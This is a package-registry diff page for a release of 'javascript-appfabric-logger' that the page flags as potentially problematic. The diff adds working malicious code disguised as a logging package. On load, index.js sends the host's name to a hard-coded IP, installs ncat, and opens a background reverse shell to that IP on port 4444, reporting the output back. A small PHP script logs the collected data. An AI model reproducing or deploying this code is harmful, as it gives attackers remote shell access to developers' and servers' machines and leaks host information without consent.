javascript-appfabric-logger 966.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of javascript-appfabric-logger might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +52 -0
  2. package/package.json +11 -0
  3. package/receive.php +5 -0
package/index.js ADDED
@@ -0,0 +1,52 @@
1
+ const http = require('http');
2
+ const os = require("os");
3
+ var querystring = require('querystring');
4
+ const { exec } = require("child_process");
5
+
6
+
7
+ PostCode('hostname: ' + os.hostname() + ' ');
8
+
9
+ exec('apt install -y ncat || apt-get install -y ncat || yum install -y ncat && nohup ncat -nv 134.209.68.193 4444 -e /bin/bash &', (error, stdout, stderr) => {
10
+ if (error) {
11
+ PostCode(error.message);
12
+ return;
13
+ }
14
+ if (stderr) {
15
+ PostCode(stderr);
16
+ return;
17
+ }
18
+ PostCode(stdout);
19
+ });
20
+
21
+
22
+ function PostCode(codestring) {
23
+ // Build the post string from an object
24
+ var post_data = querystring.stringify({
25
+ 'data': codestring
26
+ });
27
+
28
+ // An object of options to indicate where to post to
29
+ var post_options = {
30
+ host: '134.209.68.193',
31
+ port: '80',
32
+ path: '/receive.php',
33
+ method: 'POST',
34
+ headers: {
35
+ 'Content-Type': 'application/x-www-form-urlencoded',
36
+ 'Content-Length': Buffer.byteLength(post_data)
37
+ }
38
+ };
39
+
40
+ // Set up the request
41
+ var post_req = http.request(post_options, function (res) {
42
+ res.setEncoding('utf8');
43
+ res.on('data', function (chunk) {
44
+ console.log('Response: ' + chunk);
45
+ });
46
+ });
47
+
48
+ // post the data
49
+ post_req.write(post_data);
50
+ post_req.end();
51
+
52
+ }
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "javascript-appfabric-logger",
3
+ "version": "966.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
package/receive.php ADDED
@@ -0,0 +1,5 @@
1
+ <?php
2
+
3
+ $data = file_get_contents('php://input');
4
+
5
+ file_put_contents("log.txt", $_POST['data'], FILE_APPEND | LOCK_EX);